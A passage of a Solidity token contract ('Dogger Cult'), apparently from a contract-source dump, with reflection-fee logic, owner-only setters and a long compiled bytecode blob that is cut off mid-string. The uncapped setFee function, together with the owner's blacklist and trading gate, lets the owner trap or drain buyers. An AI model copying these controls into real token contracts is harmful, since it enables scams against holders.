uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f2f565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613378565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e9b565b610859565b6040516102599190613342565b60405180910390f35b34801561026e57600080fd5b50610277610877565b604051610284919061335d565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af919061355a565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e4c565b6108ac565b6040516102ec9190613342565b60405180910390f35b34801561030157600080fd5b5061030a610985565b604051610317919061355a565b60405180910390f35b34801561032c57600080fd5b5061033561098b565b60405161034291906135cf565b60405180910390f35b34801561035757600080fd5b50610360610994565b60405161036d9190613327565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dbe565b6109ba565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f70565b610aaa565b005b3480156103d457600080fd5b506103dd610b5c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dbe565b610c2d565b604051610413919061355a565b60405180910390f35b34801561042857600080fd5b50610431610c7e565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f99565b610dd1565b005b34801561046857600080fd5b50610471610e70565b60405161047e919061355a565b60405180910390f35b34801561049357600080fd5b5061049c610e76565b6040516104a99190613327565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f70565b610e9f565b005b3480156104e757600080fd5b506104f0610f51565b6040516104fd919061355a565b60405180910390f35b34801561051257600080fd5b5061051b610f57565b6040516105289190613378565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f99565b610f94565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fc2565b611033565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e9b565b6110ea565b6040516105b79190613342565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dbe565b611108565b6040516105f49190613342565b60405180910390f35b34801561060957600080fd5b50610612611128565b005b34801561062057600080fd5b5061063b60048036038101906106369190612ed7565b611201565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e10565b611361565b604051610671919061355a565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f99565b6113e8565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dbe565b611487565b005b6106d4611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134ba565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081090613894565b915050610764565b5050565b60606040518060400160405280600b81526020017f446f676765722043756c74000000000000000000000000000000000000000000815250905090565b600061086d610866611649565b8484611651565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000662386f26fc10000905090565b60006108b984848461181c565b61097a846108c5611649565b61097585604051806060016040528060288152602001613da160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092b611649565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a19092919063ffffffff16565b611651565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906134ba565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b36906134ba565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9d611649565b73ffffffffffffffffffffffffffffffffffffffff161480610c135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfb611649565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1c57600080fd5b6000479050610c2a81612105565b50565b6000610c77600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612200565b9050919050565b610c86611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd9611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d906134ba565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea7611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b906134ba565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600781526020017f444f4743554c5400000000000000000000000000000000000000000000000000815250905090565b610f9c611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906134ba565b60405180910390fd5b8060188190555050565b61103b611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf906134ba565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110fe6110f7611649565b848461181c565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611169611649565b73ffffffffffffffffffffffffffffffffffffffff1614806111df5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c7611649565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e857600080fd5b60006111f330610c2d565b90506111fe8161226e565b50565b611209611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906134ba565b60405180910390fd5b60005b8383905081101561135b5781600560008686858181106112e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f79190612dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135390613894565b915050611299565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f0611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611474906134ba565b60405180910390fd5b8060178190555050565b61148f611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611513906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061341a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061353a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611731576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117289061343a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180f919061355a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611883906134fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f39061339a565b60405180910390fd5b6000811161193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906134da565b60405180910390fd5b611947610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b55750611985610e76565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da057601560149054906101000a900460ff16611a44576119d6610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a906133ba565b60405180910390fd5b5b601654811115611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906133fa565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b639061345a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c195760175481611bce84610c2d565b611bd89190613690565b10611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f9061351a565b60405180910390fd5b5b6000611c2430610c2d565b9050600060185482101590506016548210611c3f5760165491505b808015611c57575060158054906101000a900460ff16155b8015611cb15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc95750601560169054906101000a900460ff165b8015611d1f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d755750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9d57611d838261226e565b60004790506000811115611d9b57611d9a47612105565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e475750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ef95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f08576000905061208f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120765750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561208e57600a54600c81905550600b54600d819055505b5b61209b84848484612566565b50505050565b60008383111582906120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e09190613378565b60405180910390fd5b50600083856120f89190613771565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215560028461259390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612180573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d160028461259390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fc573d6000803e3d6000fd5b5050565b6000600654821115612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223e906133da565b60405180910390fd5b60006122516125dd565b9050612266818461259390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122f95781602001602082028036833780820191505090505b5090503081600081518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123d957600080fd5b505afa1580156123ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124119190612de7565b8160018151811061244b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611651565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612516959493929190613575565b600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061257457612573612608565b5b61257f84848461264b565b8061258d5761258c612816565b5b50505050565b60006125d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282a565b905092915050565b60008060006125ea61288d565b91509150612601818361259390919063ffffffff16565b9250505090565b6000600c5414801561261c57506000600d54145b1561262657612649565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265d876128e9565b9550955095509550955095506126bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279c816129f9565b6127a68483612ab6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612803919061355a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128689190613378565b60405180910390fd5b506000838561288091906136e6565b9050809150509392505050565b600080600060065490506000662386f26fc1000090506128bf662386f26fc1000060065461259390919063ffffffff16565b8210156128dc57600654662386f26fc100009350935050506128e5565b81819350935050505b9091565b60008060008060008060008060006129068a600c54600d54612af0565b92509250925060006129166125dd565b905060008060006129298e878787612b86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b905092915050565b60008082846129aa9190613690565b9050838110156129ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e69061347a565b60405180910390fd5b8091505092915050565b6000612a036125dd565b90506000612a1a8284612c0f90919063ffffffff16565b9050612a6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612acb8260065461295190919063ffffffff16565b600681905550612ae68160075461299b90919063ffffffff16565b6007819055505050565b600080600080612b1c6064612b0e888a612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b466064612b38888b612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b6f82612b61858c61295190919063ffffffff16565b61295190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b9f8589612c0f90919063ffffffff16565b90506000612bb68689612c0f90919063ffffffff16565b90506000612bcd8789612c0f90919063ffffffff16565b90506000612bf682612be8858761295190919063ffffffff16565b61295190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c225760009050612c84565b60008284612c309190613717565b9050828482612c3f91906136e6565b14612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c769061349a565b60405180910390fd5b809150505b92915050565b6000612c9d612c988461360f565b6135ea565b90508083825260208201905082856020860282011115612cbc57600080fd5b60005b85811015612cec5781612cd28882612cf6565b845260208401935060208301925050600181019050612cbf565b5050509392505050565b600081359050612d0581613d5b565b92915050565b600081519050612d1a81613d5b565b92915050565b60008083601f840112612d3257600080fd5b8235905067ffffffffffffffff811115612d4b57600080fd5b602083019150836020820283011115612d6357600080fd5b9250929050565b600082601f830112612d7b57600080fd5b8135612d8b848260208601612c8a565b91505092915050565b600081359050612da381613d72565b92915050565b600081359050612db881613d89565b92915050565b600060208284031215612dd057600080fd5b6000612dde84828501612cf6565b91505092915050565b600060208284031215612df957600080fd5b6000612e0784828501612d0b565b91505092915050565b60008060408385031215612e2357600080fd5b6000612e3185828601612cf6565b9250506020612e4285828601612cf6565b9150509250929050565b600080600060608486031215612e6157600080fd5b6000612e6f86828701612cf6565b9350506020612e8086828701612cf6565b9250506040612e9186828701612da9565b9150509250925092565b60008060408385031215612eae57600080fd5b6000612ebc85828601612cf6565b9250506020612ecd85828601612da9565b9150509250929050565b600080600060408486031215612eec57600080fd5b600084013567ffffffffffffffff811115612f0657600080fd5b612f1286828701612d20565b93509350506020612f2586828701612d94565b9150509250925092565b600060208284031215612f4157600080fd5b600082013567ffffffffffffffff811115612f5b57600080fd5b612f6784828501612d6a565b91505092915050565b600060208284031215612f8257600080fd5b6000612f9084828501612d94565b91505092915050565b600060208284031215612fab57600080fd5b6000612fb984828501612da9565b91505092915050565b60008060008060808587031215612fd857600080fd5b6000612fe687828801612da9565b9450506020612ff787828801612da9565b935050604061300887828801612da9565b925050606061301987828801612da9565b91505092959194509250565b6000613031838361303d565b60208301905092915050565b613046816137a5565b82525050565b613055816137a5565b82525050565b60006130668261364b565b613070818561366e565b935061307b8361363b565b8060005b838110156130ac5781516130938882613025565b975061309e83613661565b92505060018101905061307f565b5085935050505092915050565b6130c2816137b7565b82525050565b6130d1816137fa565b82525050565b6130e08161381e565b82525050565b60006130f182613656565b6130fb818561367f565b935061310b818560208601613830565b6131148161396a565b840191505092915050565b600061312c60238361367f565b91506131378261397b565b604082019050919050565b600061314f603f8361367f565b915061315a826139ca565b604082019050919050565b6000613172602a8361367f565b915061317d82613a19565b604082019050919050565b6000613195601c8361367f565b91506131a082613a68565b602082019050919050565b60006131b860268361367f565b91506131c382613a91565b604082019050919050565b60006131db60228361367f565b91506131e682613ae0565b604082019050919050565b60006131fe60238361367f565b915061320982613b2f565b604082019050919050565b6000613221601b8361367f565b915061322c82613b7e565b602082019050919050565b600061324460218361367f565b915061324f82613ba7565b604082019050919050565b600061326760208361367f565b915061327282613bf6565b602082019050919050565b600061328a60298361367f565b915061329582613c1f565b604082019050919050565b60006132ad60258361367f565b91506132b882613c6e565b604082019050919050565b60006132d060238361367f565b91506132db82613cbd565b604082019050919050565b60006132f360248361367f565b91506132fe82613d0c565b604082019050919050565b613312816137e3565b82525050565b613321816137ed565b82525050565b600060208201905061333c600083018461304c565b92915050565b600060208201905061335760008301846130b9565b92915050565b600060208201905061337260008301846130c8565b92915050565b6000602082019050818103600083015261339281846130e6565b905092915050565b600060208201905081810360008301526133b38161311f565b9050919050565b600060208201905081810360008301526133d381613142565b9050919050565b600060208201905081810360008301526133f381613165565b9050919050565b6000602082019050818103600083015261341381613188565b9050919050565b60006020820190508181036000830152613433816131ab565b9050919050565b60006020820190508181036000830152613453816131ce565b9050919050565b60006020820190508181036000830152613473816131f1565b9050919050565b6000602082019050818103600083015261349381613214565b9050919050565b600060208201905081810360008301526134b381613237565b9050919050565b600060208201905081810360008301526134d38161325a565b9050919050565b600060208201905081810360008301526134f38161327d565b9050919050565b60006020820190508181036000830152613513816132a0565b9050919050565b60006020820190508181036000830152613533816132c3565b9050919050565b60006020820190508181036000830152613553816132e6565b9050919050565b600060208201905061356f6000830184613309565b92915050565b600060a08201905061358a6000830188613309565b61359760208301876130d7565b81810360408301526135a9818661305b565b90506135b8606083018561304c565b6135c56080830184613309565b9695505050505050565b60006020820190506135e46000830184613318565b92915050565b60006135f4613605565b90506136008282613863565b919050565b6000604051905090565b600067ffffffffffffffff82111561362a5761362961393b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061369b826137e3565b91506136a6836137e3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136db576136da6138dd565b5b828201905092915050565b60006136f1826137e3565b91506136fc836137e3565b92508261370c5761370b61390c565b5b828204905092915050565b6000613722826137e3565b915061372d836137e3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613766576137656138dd565b5b828202905092915050565b600061377c826137e3565b9150613787836137e3565b92508282101561379a576137996138dd565b5b828203905092915050565b60006137b0826137c3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138058261380c565b9050919050565b6000613817826137c3565b9050919050565b6000613829826137e3565b9050919050565b60005b8381101561384e578082015181840152602081019050613833565b8381111561385d576000848401525b50505050565b61386c8261396a565b810181811067ffffffffffffffff8211171561388b5761388a61393b565b5b80604052505050565b600061389f826137e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d2576138d16138dd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f742